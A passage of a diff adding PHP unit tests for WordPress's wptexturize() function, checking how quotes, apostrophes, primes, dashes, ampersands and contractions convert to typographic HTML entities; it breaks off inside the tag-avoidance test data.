+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;and a work stuck to the end.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"and a work stuck to the end.'));
+		$this->assertEquals('A test with a finishing number, &#8220;like 23&#8221;.', wptexturize('A test with a finishing number, "like 23".'));
+		$this->assertEquals('A test with a number, &#8220;like 62&#8221;, is nice to have.', wptexturize('A test with a number, "like 62", is nice to have.'));
+	}
+
+	/**
+	 * @ticket 4539
+	 */
+	function test_quotes_before_s() {
+		$this->assertEquals('test&#8217;s', wptexturize("test's"));
+		$this->assertEquals('&#8216;test&#8217;s', wptexturize("'test's"));
+		$this->assertEquals('&#8216;test&#8217;s&#8217;', wptexturize("'test's'"));
+		$this->assertEquals('&#8216;string&#8217;', wptexturize("'string'"));
+		$this->assertEquals('&#8216;string&#8217;s&#8217;', wptexturize("'string's'"));
+	}
+
+	/**
+	 * @ticket 4539
+	 */
+	function test_quotes_before_numbers() {
+		$this->assertEquals('Class of &#8217;99', wptexturize("Class of '99"));
+		$this->assertEquals('Class of &#8217;99&#8217;s', wptexturize("Class of '99's"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;', wptexturize("'Class of '99'"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217; ', wptexturize("'Class of '99' "));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;.', wptexturize("'Class of '99'."));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;, she said', wptexturize("'Class of '99', she said"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;:', wptexturize("'Class of '99':"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;;', wptexturize("'Class of '99';"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;!', wptexturize("'Class of '99'!"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;?', wptexturize("'Class of '99'?"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;s&#8217;', wptexturize("'Class of '99's'"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;s&#8217;', wptexturize("'Class of '99&#8217;s'"));
+		$this->assertEquals('&#8220;Class of 99&#8221;', wptexturize("\"Class of 99\""));
+		$this->assertEquals('&#8220;Class of &#8217;99&#8221;', wptexturize("\"Class of '99\""));
+		$this->assertEquals('{&#8220;Class of &#8217;99&#8221;}', wptexturize("{\"Class of '99\"}"));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221; ', wptexturize(" \"Class of '99\" "));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221;.', wptexturize(" \"Class of '99\"."));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221;, she said', wptexturize(" \"Class of '99\", she said"));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221;:', wptexturize(" \"Class of '99\":"));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221;;', wptexturize(" \"Class of '99\";"));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221;!', wptexturize(" \"Class of '99\"!"));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221;?', wptexturize(" \"Class of '99\"?"));
+		$this->assertEquals('}&#8221;Class of &#8217;99&#8243;{', wptexturize("}\"Class of '99\"{")); // Not a quotation, may be between two other quotations.
+	}
+
+	function test_quotes_after_numbers() {
+		$this->assertEquals('Class of &#8217;99', wptexturize("Class of '99"));
+	}
+
+	/**
+	 * @ticket 4539
+	 * @ticket 15241
+	 */
+	function test_other_html() {
+		$this->assertEquals('&#8216;<strong>', wptexturize("'<strong>"));
+		//$this->assertEquals('&#8216;<strong>Quoted Text</strong>&#8217;,', wptexturize("'<strong>Quoted Text</strong>',"));
+		//$this->assertEquals('&#8220;<strong>Quoted Text</strong>&#8221;,', wptexturize('"<strong>Quoted Text</strong>",'));
+	}
+
+	function test_x() {
+		$this->assertEquals('14&#215;24', wptexturize("14x24"));
+	}
+
+	function test_minutes_seconds() {
+		$this->assertEquals('9&#8242;', wptexturize('9\''));
+		$this->assertEquals('9&#8243;', wptexturize("9\""));
+
+		$this->assertEquals('a 9&#8242; b', wptexturize('a 9\' b'));
+		$this->assertEquals('a 9&#8243; b', wptexturize("a 9\" b"));
+
+		$this->assertEquals('&#8220;a 9&#8242; b&#8221;', wptexturize('"a 9\' b"'));
+		$this->assertEquals('&#8216;a 9&#8243; b&#8217;', wptexturize("'a 9\" b'"));
+	}
+
+	/**
+	 * @ticket 8775
+	 */
+	function test_wptexturize_quotes_around_numbers() {
+		$this->assertEquals('&#8220;12345&#8221;', wptexturize('"12345"'));
+		$this->assertEquals('&#8216;12345&#8217;', wptexturize('\'12345\''));
+		$this->assertEquals('&#8220;a 9&#8242; plus a &#8216;9&#8217;, maybe a 9&#8242; &#8216;9&#8217;&#8221;', wptexturize('"a 9\' plus a \'9\', maybe a 9\' \'9\'"'));
+		$this->assertEquals('<p>&#8217;99<br />&#8216;123&#8217;<br />&#8217;tis<br />&#8216;s&#8217;</p>', wptexturize('<p>\'99<br />\'123\'<br />\'tis<br />\'s\'</p>'));
+	}
+
+	/**
+	 * @ticket 8912
+	 */
+	function test_wptexturize_html_comments() {
+		$this->assertEquals('<!--[if !IE]>--><!--<![endif]-->', wptexturize('<!--[if !IE]>--><!--<![endif]-->'));
+		$this->assertEquals('<!--[if !IE]>"a 9\' plus a \'9\', maybe a 9\' \'9\' "<![endif]-->', wptexturize('<!--[if !IE]>"a 9\' plus a \'9\', maybe a 9\' \'9\' "<![endif]-->'));
+		$this->assertEquals('<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>', wptexturize('<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>'));
+	}
+
+	/**
+	 * @ticket 4539
+	 * @ticket 15241
+	 */
+	function test_entity_quote_cuddling() {
+		$this->assertEquals('&nbsp;&#8220;Testing&#8221;', wptexturize('&nbsp;"Testing"'));
+		//$this->assertEquals('&#38;&#8220;Testing&#8221;', wptexturize('&#38;"Testing"'));
+	}
+
+	/**
+	 * @ticket 22823
+	 */
+	function test_apostrophes_before_primes() {
+		$this->assertEquals( 'WordPress 3.5&#8217;s release date', wptexturize( "WordPress 3.5's release date" ) );
+	}
+
+	/**
+	 * @ticket 23185
+	 */
+	function test_spaces_around_hyphens() {
+		$nbsp = "\xC2\xA0";
+
+		$this->assertEquals( ' &#8211; ', wptexturize( ' - ' ) );
+		$this->assertEquals( '&nbsp;&#8211;&nbsp;', wptexturize( '&nbsp;-&nbsp;' ) );
+		$this->assertEquals( ' &#8211;&nbsp;', wptexturize( ' -&nbsp;' ) );
+		$this->assertEquals( '&nbsp;&#8211; ', wptexturize( '&nbsp;- ') );
+		$this->assertEquals( "$nbsp&#8211;$nbsp", wptexturize( "$nbsp-$nbsp" ) );
+		$this->assertEquals( " &#8211;$nbsp", wptexturize( " -$nbsp" ) );
+		$this->assertEquals( "$nbsp&#8211; ", wptexturize( "$nbsp- ") );
+
+		$this->assertEquals( ' &#8212; ', wptexturize( ' -- ' ) );
+		$this->assertEquals( '&nbsp;&#8212;&nbsp;', wptexturize( '&nbsp;--&nbsp;' ) );
+		$this->assertEquals( ' &#8212;&nbsp;', wptexturize( ' --&nbsp;' ) );
+		$this->assertEquals( '&nbsp;&#8212; ', wptexturize( '&nbsp;-- ') );
+		$this->assertEquals( "$nbsp&#8212;$nbsp", wptexturize( "$nbsp--$nbsp" ) );
+		$this->assertEquals( " &#8212;$nbsp", wptexturize( " --$nbsp" ) );
+		$this->assertEquals( "$nbsp&#8212; ", wptexturize( "$nbsp-- ") );
+	}
+
+	/**
+	 * @ticket 31030
+	 */
+	function test_hyphens_at_start_and_end() {
+		$this->assertEquals( '&#8211; ', wptexturize( '- ' ) );
+		$this->assertEquals( '&#8211; &#8211;', wptexturize( '- -' ) );
+		$this->assertEquals( ' &#8211;', wptexturize( ' -' ) );
+
+		$this->assertEquals( '&#8212; ', wptexturize( '-- ' ) );
+		$this->assertEquals( '&#8212; &#8212;', wptexturize( '-- --' ) );
+		$this->assertEquals( ' &#8212;', wptexturize( ' --' ) );
+	}
+
+	/**
+	 * Test spaces around quotes.
+	 *
+	 * These should never happen, even if the desired output changes some day.
+	 *
+	 * @ticket 22692
+	 */
+	function test_spaces_around_quotes_never() {
+		$nbsp = "\xC2\xA0";
+
+		$problem_input  = "$nbsp\"A";
+		$problem_output = "$nbsp&#8221;A";
+
+		$this->assertNotEquals( $problem_output, wptexturize( $problem_input ) );
+	}
+
+	/**
+	 * Test spaces around quotes.
+	 *
+	 * These are desirable outputs for the current design.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_spaces_around_quotes
+	 */
+	function test_spaces_around_quotes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_spaces_around_quotes() {
+		$nbsp = "\xC2\xA0";
+		$pi   = "\xCE\xA0";
+
+		return array(
+			array(
+				"stop. $nbsp\"A quote after 2 spaces.\"",
+				"stop. $nbsp&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop.$nbsp$nbsp\"A quote after 2 spaces.\"",
+				"stop.$nbsp$nbsp&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop. $nbsp'A quote after 2 spaces.'",
+				"stop. $nbsp&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"stop.$nbsp$nbsp'A quote after 2 spaces.'",
+				"stop.$nbsp$nbsp&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"stop. &nbsp;\"A quote after 2 spaces.\"",
+				"stop. &nbsp;&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop.&nbsp;&nbsp;\"A quote after 2 spaces.\"",
+				"stop.&nbsp;&nbsp;&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop. &nbsp;'A quote after 2 spaces.'",
+				"stop. &nbsp;&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"stop.&nbsp;&nbsp;'A quote after 2 spaces.'",
+				"stop.&nbsp;&nbsp;&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"Contraction: $pi's",
+				"Contraction: $pi&#8217;s",
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe before a number always becomes &#8217 (apos);
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_apos_before_digits
+	 */
+	function test_apos_before_digits( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_apos_before_digits() {
+		return array(
+			array(
+				"word '99 word",
+				"word &#8217;99 word",
+			),
+			array(
+				"word'99 word",
+				"word&#8217;99 word",
+			),
+			array(
+				"word '99word",
+				"word &#8217;99word",
+			),
+			array(
+				"word'99word",
+				"word&#8217;99word",
+			),
+			array(
+				"word '99&#8217;s word", // Appears as a separate but logically superfluous pattern in 3.8.
+				"word &#8217;99&#8217;s word",
+			),
+			array(
+				"according to our source, '33 students scored less than 50' on the test.", // Apostrophes and primes have priority over quotes
+				"according to our source, &#8217;33 students scored less than 50&#8242; on the test.",
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe after a space or ([{<" becomes &#8216; (opening_single_quote)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_opening_single_quote
+	 */
+	function test_opening_single_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_opening_single_quote() {
+		return array(
+			array(
+				"word 'word word",
+				"word &#8216;word word",
+			),
+			array(
+				"word ('word word",
+				"word (&#8216;word word",
+			),
+			array(
+				"word ['word word",
+				"word [&#8216;word word",
+			),
+			array(
+				"word <'word word", // Invalid HTML
+				"word <'word word",
+			),
+			array(
+				"word &lt;'word word", // Valid HTML input makes curly quotes.
+				"word &lt;&#8216;word word",
+			),
+			array(
+				"word {'word word",
+				"word {&#8216;word word",
+			),
+			array(
+				"word \"'word word",
+				"word &#8220;&#8216;word word", // Two opening quotes
+			),
+			array(
+				"'word word",
+				"&#8216;word word",
+			),
+			array(
+				"word('word word",
+				"word(&#8216;word word",
+			),
+			array(
+				"word['word word",
+				"word[&#8216;word word",
+			),
+			array(
+				"word<'word word",
+				"word<'word word",
+			),
+			array(
+				"word&lt;'word word",
+				"word&lt;&#8216;word word",
+			),
+			array(
+				"word{'word word",
+				"word{&#8216;word word",
+			),
+			array(
+				"word\"'word word",
+				"word&#8221;&#8216;word word", // Closing quote, then opening quote
+			),
+			array(
+				"word ' word word",
+				"word &#8216; word word",
+			),
+			array(
+				"word (' word word",
+				"word (&#8216; word word",
+			),
+			array(
+				"word [' word word",
+				"word [&#8216; word word",
+			),
+			array(
+				"word <' word word",
+				"word <' word word",
+			),
+			array(
+				"word &lt;' word word",
+				"word &lt;&#8216; word word",
+			),
+			array(
+				"word {' word word",
+				"word {&#8216; word word",
+			),
+			array(
+				"word \"' word word",
+				"word &#8220;&#8216; word word", // Two opening quotes
+			),
+			array(
+				"' word word",
+				"&#8216; word word",
+			),
+			array(
+				"word(' word word",
+				"word(&#8216; word word",
+			),
+			array(
+				"word[' word word",
+				"word[&#8216; word word",
+			),
+			array(
+				"word<' word word",
+				"word<' word word",
+			),
+			array(
+				"word&lt;' word word",
+				"word&lt;&#8216; word word",
+			),
+			array(
+				"word{' word word",
+				"word{&#8216; word word",
+			),
+			array(
+				"word\"' word word",
+				"word&#8221;&#8216; word word", // Closing quote, then opening quote
+			),
+		);
+	}
+
+	/**
+	 * Double quote after a number becomes &#8243; (double_prime)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_double_prime
+	 */
+	function test_double_prime( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_double_prime() {
+		return array(
+			array(
+				'word 99" word',
+				'word 99&#8243; word',
+			),
+			array(
+				'word 99"word',
+				'word 99&#8243;word',
+			),
+			array(
+				'word99" word',
+				'word99&#8243; word',
+			),
+			array(
+				'word99"word',
+				'word99&#8243;word',
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe after a number becomes &#8242; (prime)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_single_prime
+	 */
+	function test_single_prime( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_single_prime() {
+		return array(
+			array(
+				"word 99' word",
+				"word 99&#8242; word",
+			),
+			array(
+				"word 99'word", // Not a prime anymore. Apostrophes get priority.
+				"word 99&#8217;word",
+			),
+			array(
+				"word99' word",
+				"word99&#8242; word",
+			),
+			array(
+				"word99'word", // Not a prime anymore.
+				"word99&#8217;word",
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe "in a word" becomes &#8217; (apos)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_contractions
+	 */
+	function test_contractions( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_contractions() {
+		return array(
+			array(
+				"word word's word",
+				"word word&#8217;s word",
+			),
+			array(
+				"word'[ word", // Apostrophes are never followed by opening punctuation.
+				"word'[ word",
+			),
+			array(
+				"word'( word",
+				"word'( word",
+			),
+			array(
+				"word'{ word",
+				"word'{ word",
+			),
+			array(
+				"word'&lt; word",
+				"word'&lt; word",
+			),
+			array(
+				"word'< word", // Invalid HTML input does trigger the apos pattern.
+				"word&#8217;< word",
+			),
+		);
+	}
+
+	/**
+	 * Double quote after a space or ([-{< becomes &#8220; (opening_quote) if not followed by spaces
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_opening_quote
+	 */
+	function test_opening_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_opening_quote() {
+		return array(
+			array(
+				'word "word word',
+				'word &#8220;word word',
+			),
+			array(
+				'word ("word word',
+				'word (&#8220;word word',
+			),
+			array(
+				'word ["word word',
+				'word [&#8220;word word',
+			),
+			array(
+				'word <"word word', // Invalid HTML
+				'word <"word word',
+			),
+			array(
+				'word &lt;"word word',
+				'word &lt;&#8220;word word',
+			),
+			array(
+				'word {"word word',
+				'word {&#8220;word word',
+			),
+			array(
+				'word -"word word',
+				'word -&#8220;word word',
+			),
+			array(
+				'word-"word word',
+				'word-&#8220;word word',
+			),
+			array(
+				'"word word',
+				'&#8220;word word',
+			),
+			array(
+				'word("word word',
+				'word(&#8220;word word',
+			),
+			array(
+				'word["word word',
+				'word[&#8220;word word',
+			),
+			array(
+				'word<"word word',
+				'word<"word word',
+			),
+			array(
+				'word&lt;"word word',
+				'word&lt;&#8220;word word',
+			),
+			array(
+				'word{"word word',
+				'word{&#8220;word word',
+			),
+			array(
+				'word "99 word',
+				'word &#8220;99 word',
+			),
+		);
+	}
+
+	/**
+	 * Double quote becomes &#8221; (closing_quote) unless it is already converted to double_prime or opening_quote.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_closing_quote
+	 */
+	function test_closing_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_closing_quote() {
+		return array(
+			array(
+				'word word" word',
+				'word word&#8221; word',
+			),
+			array(
+				'word word") word',
+				'word word&#8221;) word',
+			),
+			array(
+				'word word"] word',
+				'word word&#8221;] word',
+			),
+			array(
+				'word word"} word',
+				'word word&#8221;} word',
+			),
+			array(
+				'word word"> word', // Invalid HTML input?
+				'word word&#8221;> word',
+			),
+			array(
+				'word word"&gt; word', // Valid HTML should work
+				'word word&#8221;&gt; word',
+			),
+			array(
+				'word word"',
+				'word word&#8221;',
+			),
+			array(
+				'word word"word',
+				'word word&#8221;word',
+			),
+			array(
+				'word"word"word',
+				'word&#8221;word&#8221;word',
+			),
+			array(
+				'test sentence".',
+				'test sentence&#8221;.',
+			),
+			array(
+				'test sentence",',
+				'test sentence&#8221;,',
+			),
+			array(
+				'test sentence":',
+				'test sentence&#8221;:',
+			),
+			array(
+				'test sentence";',
+				'test sentence&#8221;;',
+			),
+			array(
+				'test sentence"!',
+				'test sentence&#8221;!',
+			),
+			array(
+				'test sentence"?',
+				'test sentence&#8221;?',
+			),
+			array(
+				'test sentence."',
+				'test sentence.&#8221;',
+			),
+			array(
+				'test sentence". word',
+				'test sentence&#8221;. word',
+			),
+			array(
+				'test sentence." word',
+				'test sentence.&#8221; word',
+			),
+		);
+	}
+
+	/**
+	 * Test that single quotes followed by a space or .,-)}]> become &#8217; (closing_single_quote)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_closing_single_quote
+	 */
+	function test_closing_single_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_closing_single_quote() {
+		return array(
+			array(
+				"word word' word",
+				"word word&#8217; word",
+			),
+			array(
+				"word word'. word",
+				"word word&#8217;. word",
+			),
+			array(
+				"word word'.word",
+				"word word&#8217;.word",
+			),
+			array(
+				"word word', she said",
+				"word word&#8217;, she said",
+			),
+			array(
+				"word word': word",
+				"word word&#8217;: word",
+			),
+			array(
+				"word word'; word",
+				"word word&#8217;; word",
+			),
+			array(
+				"word word'! word",
+				"word word&#8217;! word",
+			),
+			array(
+				"word word'? word",
+				"word word&#8217;? word",
+			),
+			array(
+				"word word'- word",
+				"word word&#8217;- word",
+			),
+			array(
+				"word word') word",
+				"word word&#8217;) word",
+			),
+			array(
+				"word word'} word",
+				"word word&#8217;} word",
+			),
+			array(
+				"word word'] word",
+				"word word&#8217;] word",
+			),
+			array(
+				"word word'&gt; word",
+				"word word&#8217;&gt; word",
+			),
+			array(
+				"word word'",
+				"word word&#8217;",
+			),
+			array(
+				"test sentence'.",
+				"test sentence&#8217;.",
+			),
+			array(
+				"test sentence.'",
+				"test sentence.&#8217;",
+			),
+			array(
+				"test sentence'. word",
+				"test sentence&#8217;. word",
+			),
+			array(
+				"test sentence.' word",
+				"test sentence.&#8217; word",
+			),
+		);
+	}
+
+	/**
+	 * Tests multiplication.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_multiplication
+	 */
+	function test_multiplication( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_multiplication() {
+		return array(
+			array(
+				"9x9",
+				"9&#215;9",
+			),
+			array(
+				"12x34",
+				"12&#215;34",
+			),
+			array(
+				"-123x1=-123",
+				"-123&#215;1=-123",
+			),
+			// @ticket 30445
+			array(
+				"-123x-1",
+				"-123x-1",
+			),
+			array(
+				"0.675x1=0.675",
+				"0.675&#215;1=0.675",
+			),
+			array(
+				"9 x 9",
+				"9 x 9",
+			),
+			array(
+				"0x70",
+				"0x70",
+			),
+			array(
+				"3x2x1x0",
+				"3x2x1x0",
+			),
+		);
+	}
+
+	/**
+	 * Test ampersands. & always becomes &#038; unless it is followed by # or ;
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_ampersand
+	 */
+	function test_ampersand( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_ampersand() {
+		return array(
+			array(
+				"word & word",
+				"word &#038; word",
+			),
+			array(
+				"word&word",
+				"word&#038;word",
+			),
+			array(
+				"word &nbsp; word",
+				"word &nbsp; word",
+			),
+			array(
+				"word &#038; word",
+				"word &#038; word",
+			),
+			array(
+				"word &#xabc; word",
+				"word &#xabc; word",
+			),
+			array(
+				"word &#X394; word",
+				"word &#X394; word",
+			),
+			array(
+				"word &# word",
+				"word &#038;# word",
+			),
+			array(
+				"word &44; word",
+				"word &44; word",
+			),
+			array(
+				"word &&amp; word",
+				"word &#038;&amp; word",
+			),
+			array(
+				"word &!amp; word",
+				"word &#038;!amp; word",
+			),
+			array(
+				"word &#",
+				"word &#038;#",
+			),
+			array(
+				"word &",
+				"word &#038;",
+			),
+		);
+	}
+
+	/**
+	 * Test "cockney" phrases, which begin with an apostrophe instead of an opening single quote.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_cockney
+	 */
+	function test_cockney( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_cockney() {
+		return array(
+			array(
+				"word 'tain't word",
+				"word &#8217;tain&#8217;t word",
+			),
+			array(
+				"word 'twere word",
+				"word &#8217;twere word",
+			),
+			array(
+				"word 'twas word",
+				"word &#8217;twas word",
+			),
+			array(
+				"word 'tis word",
+				"word &#8217;tis word",
+			),
+			array(
+				"word 'twill word",
+				"word &#8217;twill word",
+			),
+			array(
+				"word 'til word",
+				"word &#8217;til word",
+			),
+			array(
+				"word 'bout word",
+				"word &#8217;bout word",
+			),
+			array(
+				"word 'nuff word",
+				"word &#8217;nuff word",
+			),
+			array(
+				"word 'round word",
+				"word &#8217;round word",
+			),
+			array(
+				"word 'cause word",
+				"word &#8217;cause word",
+			),
+			array(
+				"word 'em word",
+				"word &#8217;em word",
+			),
+		);
+	}
+
+	/**
+	 * Test smart dashes.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_smart_dashes
+	 */
+	function test_smart_dashes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_smart_dashes() {
+		return array(
+			array(
+				"word --- word",
+				"word &#8212; word",
+			),
+			array(
+				"word---word",
+				"word&#8212;word",
+			),
+			array(
+				"word -- word",
+				"word &#8212; word",
+			),
+			array(
+				"word--word",
+				"word&#8211;word",
+			),
+			array(
+				"word - word",
+				"word &#8211; word",
+			),
+			array(
+				"word-word",
+				"word-word",
+			),
+			array(
+				"word xn&#8211; word",
+				"word xn&#8211; word",
+			),
+			array(
+				"wordxn&#8211;word",
+				"wordxn&#8211;word",
+			),
+			array(
+				"wordxn--word",
+				"wordxn--word",
+			),
+		);
+	}
+
+	/**
+	 * Test miscellaneous static replacements.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_misc_static_replacements
+	 */
+	function test_misc_static_replacements( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_misc_static_replacements() {
+		return array(
+			array(
+				"word ... word",
+				"word &#8230; word",
+			),
+			array(
+				"word...word",
+				"word&#8230;word",
+			),
+			array(
+				"word `` word",
+				"word &#8220; word",
+			),
+			array(
+				"word``word",
+				"word&#8220;word",
+			),
+			array(
+				"word '' word",
+				"word &#8221; word",
+			),
+			array(
+				"word''word",
+				"word&#8221;word",
+			),
+			array(
+				"word (tm) word",
+				"word &#8482; word",
+			),
+			array(
+				"word (tm)word",
+				"word &#8482;word",
+			),
+			array(
+				"word(tm) word",
+				"word(tm) word",
+			),
+			array(
+				"word(tm)word",
+				"word(tm)word",
+			),
+		);
+	}
+
+	/**
+	 * Numbers inside of matching quotes get curly quotes instead of apostrophes and primes.
+	 *
+	 * @ticket 8775
+	 * @dataProvider data_quoted_numbers
+	 */
+	function test_quoted_numbers( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_quoted_numbers() {
+		return array(
+			array(
+				'word "42.00" word',
+				'word &#8220;42.00&#8221; word',
+			),
+			array(
+				'word "42.00"word',
+				'word &#8220;42.00&#8221;word',
+			),
+			array(
+				"word '42.00' word",
+				"word &#8216;42.00&#8217; word",
+			),
+			array(
+				"word '42.00'word",
+				"word &#8216;42.00&#8217;word",
+			),
+			array(
+				'word "42" word',
+				'word &#8220;42&#8221; word',
+			),
+			array(
+				'word "42,00" word',
+				'word &#8220;42,00&#8221; word',
+			),
+			array(
+				'word "4,242.00" word',
+				'word &#8220;4,242.00&#8221; word',
+			),
+			array(
+				"word '99's word",
+				"word &#8217;99&#8217;s word",
+			),
+			array(
+				"word '99'samsonite",
+				"word &#8217;99&#8217;samsonite",
+			),
+		);
+	}
+
+	/**
+	 * Quotations should be allowed to have dashes around them.
+	 *
+	 * @ticket 20342
+	 * @dataProvider data_quotes_and_dashes
+	 */
+	function test_quotes_and_dashes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_quotes_and_dashes() {
+		return array(
+			array(
+				'word---"quote"',
+				'word&#8212;&#8220;quote&#8221;',
+			),
+			array(
+				'word--"quote"',
+				'word&#8211;&#8220;quote&#8221;',
+			),
+			array(
+				'word-"quote"',
+				'word-&#8220;quote&#8221;',
+			),
+			array(
+				"word---'quote'",
+				"word&#8212;&#8216;quote&#8217;",
+			),
+			array(
+				"word--'quote'",
+				"word&#8211;&#8216;quote&#8217;",
+			),
+			array(
+				"word-'quote'",
+				"word-&#8216;quote&#8217;",
+			),
+			array(
+				'"quote"---word',
+				'&#8220;quote&#8221;&#8212;word',
+			),
+			array(
+				'"quote"--word',
+				'&#8220;quote&#8221;&#8211;word',
+			),
+			array(
+				'"quote"-word',
+				'&#8220;quote&#8221;-word',
+			),
+			array(
+				"'quote'---word",
+				"&#8216;quote&#8217;&#8212;word",
+			),
+			array(
+				"'quote'--word",
+				"&#8216;quote&#8217;&#8211;word",
+			),
+			array(
+				"'quote'-word",
+				"&#8216;quote&#8217;-word",
+			),
+		);
+	}
+
+	/**
+	 * Test HTML and shortcode avoidance.
+	 *
+	 * @ticket 12690
+	 * @dataProvider data_tag_avoidance
+	 */
+	function test_tag_avoidance( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_tag_avoidance() {
+		return array(
+			array(
+				'[ ... ]',
+				'[ &#8230; ]',
+			),
+			array(
+				'[ is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+				'[ is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+			),
+			array(
+				'[is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+				'[is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+			),
+			array(
+				'[caption - is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+				'[caption &#8211; is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+			),
+			array(
+				'[ photos by <a href="http://example.com/?a[]=1&a[]=2"> this guy & that guy </a> ]',
+				'[ photos by <a href="http://example.com/?a[]=1&#038;a[]=2"> this guy &#038; that guy </a> ]',
+			),
+			array(
+				'[photos by <a href="http://example.com/?a[]=1&a[]=2"> this guy & that guy </a>]',
+				'[photos by <a href="http://example.com/?a[]=1&#038;a[]=2"> this guy &#038; that guy </a>]',
+			),
+			array(
+				'& <script>&&</script>',
+				'&#038; <script>&&</script>'
+			),
+			array(
+				'[gallery ...]',
+				'[gallery ...]',
+			),
+			array(
+				'[[gallery ...]', // This tag is still valid.
+				'[[gallery ...]',
+			),
+			array(
+				'[gallery ...]]', // This tag is also valid.
+				'[gallery ...]]',
+			),
+			array(
+				'[/gallery ...]', // This would actually be ignored by the shortcode system.  The decision to not texturize it is intentional, if not correct.
+				'[/gallery ...]',
+			),
+			array(
+				'[[gallery]]...[[/gallery]]', // Shortcode parsing will ignore the inner ]...[ part and treat this as a single escaped shortcode.
